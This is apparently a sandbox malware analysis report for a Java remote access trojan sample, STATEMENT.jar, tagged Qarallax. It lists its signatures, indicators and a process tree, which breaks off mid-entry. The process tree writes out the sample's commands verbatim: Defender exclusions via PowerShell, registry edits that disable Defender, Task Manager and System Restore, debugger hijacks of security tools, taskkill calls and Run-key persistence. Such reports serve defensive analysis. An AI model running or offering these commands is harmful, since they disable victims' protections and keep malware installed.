STATEMENT.jar

General
Target

STATEMENT.jar

Filesize

410KB

Completed

06-08-2020 07:55

Score
10 /10
MD5

c97cbc1f72a7a3100781e9e9dd0726c9

SHA1

cfd2845d70ba1de8fa041c844deacf5f72d360b2

SHA256

af2282169fd256121196373e4a1171e44ab0dd830ffd5f2b49f5b5d0a9f6b473

Malware Config
Signatures 16

Filter: none

Defense Evasion
Impact
Persistence
  • Modifies Windows Defender Real-time Protection settings

    TTPs

    Modify RegistryModify Existing ServiceDisabling Security Tools
  • QarallaxRAT

    Description

    Qarallax is a RAT developed by Quaverse and sold as RaaS (RAT as a Service).

  • Qarallax RAT support DLL

    Reported IOCs

    resourceyara_rule
    behavioral1/files/0x0003000000013538-7.datqarallax_dll
  • Disables Task Manager via registry modification

    Tags

  • Disables use of System Restore points

    Tags

    TTPs

    Inhibit System Recovery
  • Sets file execution options in registry

    TTPs

    Registry Run Keys / Startup FolderModify Registry
  • Loads dropped DLL
    java.exe

    Reported IOCs

    pidprocess
    900java.exe
  • Adds Run key to start application
    java.exe

    TTPs

    Registry Run Keys / Startup FolderModify Registry

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\RunOncejava.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\EfAgwmH = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\hmJMe\\Lwqbj.class\""java.exe
    Key created\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Runjava.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\EfAgwmH = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\hmJMe\\Lwqbj.class\""java.exe
  • Drops desktop.ini file(s)
    attrib.exejava.exeattrib.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Users\Admin\hmJMe\Desktop.iniattrib.exe
    File opened for modificationC:\Users\Admin\hmJMe\Desktop.inijava.exe
    File createdC:\Users\Admin\hmJMe\Desktop.inijava.exe
    File opened for modificationC:\Users\Admin\hmJMe\Desktop.iniattrib.exe
  • Drops file in System32 directory
    java.exe

    Reported IOCs

    descriptioniocprocess
    File createdC:\Windows\System32\zDmSEjava.exe
    File opened for modificationC:\Windows\System32\zDmSEjava.exe
  • Kills process with taskkill
    taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

    Tags

    Reported IOCs

    pidprocess
    1692taskkill.exe
    1572taskkill.exe
    848taskkill.exe
    1624taskkill.exe
    1808taskkill.exe
    760taskkill.exe
    1940taskkill.exe
    1560taskkill.exe
    2032taskkill.exe
    1992taskkill.exe
    1844taskkill.exe
    1880taskkill.exe
    2032taskkill.exe
    1560taskkill.exe
    1384taskkill.exe
    1952taskkill.exe
    1380taskkill.exe
    1904taskkill.exe
    1980taskkill.exe
  • Suspicious behavior: EnumeratesProcesses
    powershell.exe

    Reported IOCs

    pidprocess
    1892powershell.exe
    1892powershell.exe
  • Suspicious use of AdjustPrivilegeToken
    WMIC.exeWMIC.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeIncreaseQuotaPrivilege1036WMIC.exe
    Token: SeSecurityPrivilege1036WMIC.exe
    Token: SeTakeOwnershipPrivilege1036WMIC.exe
    Token: SeLoadDriverPrivilege1036WMIC.exe
    Token: SeSystemProfilePrivilege1036WMIC.exe
    Token: SeSystemtimePrivilege1036WMIC.exe
    Token: SeProfSingleProcessPrivilege1036WMIC.exe
    Token: SeIncBasePriorityPrivilege1036WMIC.exe
    Token: SeCreatePagefilePrivilege1036WMIC.exe
    Token: SeBackupPrivilege1036WMIC.exe
    Token: SeRestorePrivilege1036WMIC.exe
    Token: SeShutdownPrivilege1036WMIC.exe
    Token: SeDebugPrivilege1036WMIC.exe
    Token: SeSystemEnvironmentPrivilege1036WMIC.exe
    Token: SeRemoteShutdownPrivilege1036WMIC.exe
    Token: SeUndockPrivilege1036WMIC.exe
    Token: SeManageVolumePrivilege1036WMIC.exe
    Token: 331036WMIC.exe
    Token: 341036WMIC.exe
    Token: 351036WMIC.exe
    Token: SeIncreaseQuotaPrivilege1036WMIC.exe
    Token: SeSecurityPrivilege1036WMIC.exe
    Token: SeTakeOwnershipPrivilege1036WMIC.exe
    Token: SeLoadDriverPrivilege1036WMIC.exe
    Token: SeSystemProfilePrivilege1036WMIC.exe
    Token: SeSystemtimePrivilege1036WMIC.exe
    Token: SeProfSingleProcessPrivilege1036WMIC.exe
    Token: SeIncBasePriorityPrivilege1036WMIC.exe
    Token: SeCreatePagefilePrivilege1036WMIC.exe
    Token: SeBackupPrivilege1036WMIC.exe
    Token: SeRestorePrivilege1036WMIC.exe
    Token: SeShutdownPrivilege1036WMIC.exe
    Token: SeDebugPrivilege1036WMIC.exe
    Token: SeSystemEnvironmentPrivilege1036WMIC.exe
    Token: SeRemoteShutdownPrivilege1036WMIC.exe
    Token: SeUndockPrivilege1036WMIC.exe
    Token: SeManageVolumePrivilege1036WMIC.exe
    Token: 331036WMIC.exe
    Token: 341036WMIC.exe
    Token: 351036WMIC.exe
    Token: SeIncreaseQuotaPrivilege1536WMIC.exe
    Token: SeSecurityPrivilege1536WMIC.exe
    Token: SeTakeOwnershipPrivilege1536WMIC.exe
    Token: SeLoadDriverPrivilege1536WMIC.exe
    Token: SeSystemProfilePrivilege1536WMIC.exe
    Token: SeSystemtimePrivilege1536WMIC.exe
    Token: SeProfSingleProcessPrivilege1536WMIC.exe
    Token: SeIncBasePriorityPrivilege1536WMIC.exe
    Token: SeCreatePagefilePrivilege1536WMIC.exe
    Token: SeBackupPrivilege1536WMIC.exe
    Token: SeRestorePrivilege1536WMIC.exe
    Token: SeShutdownPrivilege1536WMIC.exe
    Token: SeDebugPrivilege1536WMIC.exe
    Token: SeSystemEnvironmentPrivilege1536WMIC.exe
    Token: SeRemoteShutdownPrivilege1536WMIC.exe
    Token: SeUndockPrivilege1536WMIC.exe
    Token: SeManageVolumePrivilege1536WMIC.exe
    Token: 331536WMIC.exe
    Token: 341536WMIC.exe
    Token: 351536WMIC.exe
    Token: SeIncreaseQuotaPrivilege1536WMIC.exe
    Token: SeSecurityPrivilege1536WMIC.exe
    Token: SeTakeOwnershipPrivilege1536WMIC.exe
    Token: SeLoadDriverPrivilege1536WMIC.exe
  • Suspicious use of SetWindowsHookEx
    java.exe

    Reported IOCs

    pidprocess
    900java.exe
  • Suspicious use of WriteProcessMemory
    java.execmd.execmd.execmd.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 900 wrote to memory of 796900java.execmd.exe
    PID 900 wrote to memory of 796900java.execmd.exe
    PID 900 wrote to memory of 796900java.execmd.exe
    PID 900 wrote to memory of 612900java.execmd.exe
    PID 900 wrote to memory of 612900java.execmd.exe
    PID 900 wrote to memory of 612900java.execmd.exe
    PID 612 wrote to memory of 1036612cmd.exeWMIC.exe
    PID 612 wrote to memory of 1036612cmd.exeWMIC.exe
    PID 612 wrote to memory of 1036612cmd.exeWMIC.exe
    PID 900 wrote to memory of 1100900java.execmd.exe
    PID 900 wrote to memory of 1100900java.execmd.exe
    PID 900 wrote to memory of 1100900java.execmd.exe
    PID 1100 wrote to memory of 15361100cmd.exeWMIC.exe
    PID 1100 wrote to memory of 15361100cmd.exeWMIC.exe
    PID 1100 wrote to memory of 15361100cmd.exeWMIC.exe
    PID 900 wrote to memory of 1836900java.exeattrib.exe
    PID 900 wrote to memory of 1836900java.exeattrib.exe
    PID 900 wrote to memory of 1836900java.exeattrib.exe
    PID 900 wrote to memory of 1852900java.exeattrib.exe
    PID 900 wrote to memory of 1852900java.exeattrib.exe
    PID 900 wrote to memory of 1852900java.exeattrib.exe
    PID 900 wrote to memory of 1260900java.exeattrib.exe
    PID 900 wrote to memory of 1260900java.exeattrib.exe
    PID 900 wrote to memory of 1260900java.exeattrib.exe
    PID 900 wrote to memory of 1804900java.exeattrib.exe
    PID 900 wrote to memory of 1804900java.exeattrib.exe
    PID 900 wrote to memory of 1804900java.exeattrib.exe
    PID 900 wrote to memory of 1796900java.exeattrib.exe
    PID 900 wrote to memory of 1796900java.exeattrib.exe
    PID 900 wrote to memory of 1796900java.exeattrib.exe
    PID 900 wrote to memory of 1784900java.exeattrib.exe
    PID 900 wrote to memory of 1784900java.exeattrib.exe
    PID 900 wrote to memory of 1784900java.exeattrib.exe
    PID 900 wrote to memory of 1764900java.exeattrib.exe
    PID 900 wrote to memory of 1764900java.exeattrib.exe
    PID 900 wrote to memory of 1764900java.exeattrib.exe
    PID 900 wrote to memory of 1876900java.exeattrib.exe
    PID 900 wrote to memory of 1876900java.exeattrib.exe
    PID 900 wrote to memory of 1876900java.exeattrib.exe
    PID 900 wrote to memory of 1560900java.execmd.exe
    PID 900 wrote to memory of 1560900java.execmd.exe
    PID 900 wrote to memory of 1560900java.execmd.exe
    PID 900 wrote to memory of 1892900java.exepowershell.exe
    PID 900 wrote to memory of 1892900java.exepowershell.exe
    PID 900 wrote to memory of 1892900java.exepowershell.exe
    PID 900 wrote to memory of 1940900java.exetaskkill.exe
    PID 900 wrote to memory of 1940900java.exetaskkill.exe
    PID 900 wrote to memory of 1940900java.exetaskkill.exe
    PID 900 wrote to memory of 1904900java.exereg.exe
    PID 900 wrote to memory of 1904900java.exereg.exe
    PID 900 wrote to memory of 1904900java.exereg.exe
    PID 900 wrote to memory of 1928900java.exereg.exe
    PID 900 wrote to memory of 1928900java.exereg.exe
    PID 900 wrote to memory of 1928900java.exereg.exe
    PID 1560 wrote to memory of 19881560cmd.exereg.exe
    PID 1560 wrote to memory of 19881560cmd.exereg.exe
    PID 1560 wrote to memory of 19881560cmd.exereg.exe
    PID 900 wrote to memory of 1944900java.exereg.exe
    PID 900 wrote to memory of 1944900java.exereg.exe
    PID 900 wrote to memory of 1944900java.exereg.exe
    PID 900 wrote to memory of 1032900java.exereg.exe
    PID 900 wrote to memory of 1032900java.exereg.exe
    PID 900 wrote to memory of 1032900java.exereg.exe
    PID 900 wrote to memory of 2040900java.exereg.exe
  • Views/modifies file attributes
    attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

    Tags

    TTPs

    Hidden Files and Directories

    Reported IOCs

    pidprocess
    1836attrib.exe
    1852attrib.exe
    1260attrib.exe
    1804attrib.exe
    1796attrib.exe
    1784attrib.exe
    1764attrib.exe
    1876attrib.exe
Processes 267
  • C:\Windows\system32\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\STATEMENT.jar
    Loads dropped DLL
    Adds Run key to start application
    Drops desktop.ini file(s)
    Drops file in System32 directory
    Suspicious use of SetWindowsHookEx
    Suspicious use of WriteProcessMemory
    PID:900
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:796
    • C:\Windows\system32\cmd.exe
      cmd.exe
      Suspicious use of WriteProcessMemory
      PID:612
      • C:\Windows\System32\Wbem\WMIC.exe
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
        Suspicious use of AdjustPrivilegeToken
        PID:1036
    • C:\Windows\system32\cmd.exe
      cmd.exe
      Suspicious use of WriteProcessMemory
      PID:1100
      • C:\Windows\System32\Wbem\WMIC.exe
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
        Suspicious use of AdjustPrivilegeToken
        PID:1536
    • C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\Oracle
      Views/modifies file attributes
      PID:1836
    • C:\Windows\system32\attrib.exe
      attrib +h +r +s C:\Users\Admin\.ntusernt.ini
      Views/modifies file attributes
      PID:1852
    • C:\Windows\system32\attrib.exe
      attrib -s -r C:\Users\Admin\hmJMe\Desktop.ini
      Drops desktop.ini file(s)
      Views/modifies file attributes
      PID:1260
    • C:\Windows\system32\attrib.exe
      attrib +s +r C:\Users\Admin\hmJMe\Desktop.ini
      Drops desktop.ini file(s)
      Views/modifies file attributes
      PID:1804
    • C:\Windows\system32\attrib.exe
      attrib -s -r C:\Users\Admin\hmJMe
      Views/modifies file attributes
      PID:1796
    • C:\Windows\system32\attrib.exe
      attrib +s +r C:\Users\Admin\hmJMe
      Views/modifies file attributes
      PID:1784
    • C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\hmJMe
      Views/modifies file attributes
      PID:1764
    • C:\Windows\system32\attrib.exe
      attrib +h +s +r C:\Users\Admin\hmJMe\Lwqbj.class
      Views/modifies file attributes
      PID:1876
    • C:\Windows\system32\cmd.exe
      cmd.exe
      Suspicious use of WriteProcessMemory
      PID:1560
      • C:\Windows\system32\reg.exe
        reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
        PID:1988
      • C:\Windows\system32\reg.exe
        reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
        PID:776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\hmJMe','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\hmJMe\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
      Suspicious behavior: EnumeratesProcesses
      PID:1892
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "UserAccountControlSettings.exe" /T /F
      Kills process with taskkill
      PID:1940
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UserAccountControlSettings.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1904
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "1" /f
      PID:1928
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1944
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;.jar;" /f
      PID:1032
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:2040
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_SZ /d "-" /f
      PID:1504
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:592
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d "-" /f
      PID:1168
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1052
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Environment" /v "SEE_MASK_NOZONECHECKS" /t REG_SZ /d "1" /f
      PID:1532
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1488
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "SEE_MASK_NOZONECHECKS" /t REG_SZ /d "1" /f
      PID:1704
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1788
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "Taskmgr.exe" /T /F
      Kills process with taskkill
      PID:1692
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "2" /f
      PID:1896
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1952
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d "1" /f
      PID:544
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1976
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1032
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d "1" /f
      PID:1572
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      PID:1296
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1680
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      PID:1936
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1760
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      PID:1632
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1516
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
        PID:1800
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
        PID:344
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F
      Kills process with taskkill
      PID:1624
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:804
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      PID:844
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1488
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1628
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1168
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1312
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1496
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
        PID:1980
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
        PID:1112
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1388
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
      PID:1932
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
      Kills process with taskkill
      PID:1572
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1920
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
        PID:1056
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
        PID:1564
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1084
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
        PID:796
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
        PID:1816
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:608
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
        PID:1644
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
        PID:1704
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:344
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
        PID:1952
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
        PID:1876
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1904
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
        PID:1944
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
        PID:1112
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
      Kills process with taskkill
      PID:848
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1476
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
        PID:1388
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
        PID:1368
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:528
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
        PID:2044
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
        PID:592
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1080
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
        PID:1644
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
        PID:1968
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1488
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
        PID:1380
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
        PID:1840
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
      Kills process with taskkill
      PID:1808
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:668
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
        PID:284
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
        PID:1576
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1620
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
        PID:776
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
        PID:1624
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1632
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
        PID:2032
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
        PID:1260
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:1964
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
        PID:1980
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
        PID:1664
    • C:\Windows\system32\cmd.exe
      cmd.exe
      PID:764
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:64
        PID:1988
      • C:\Windows\system32\reg.exe
        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:32
        PID:1760
    • C:\Windows\System32\taskkill.exe
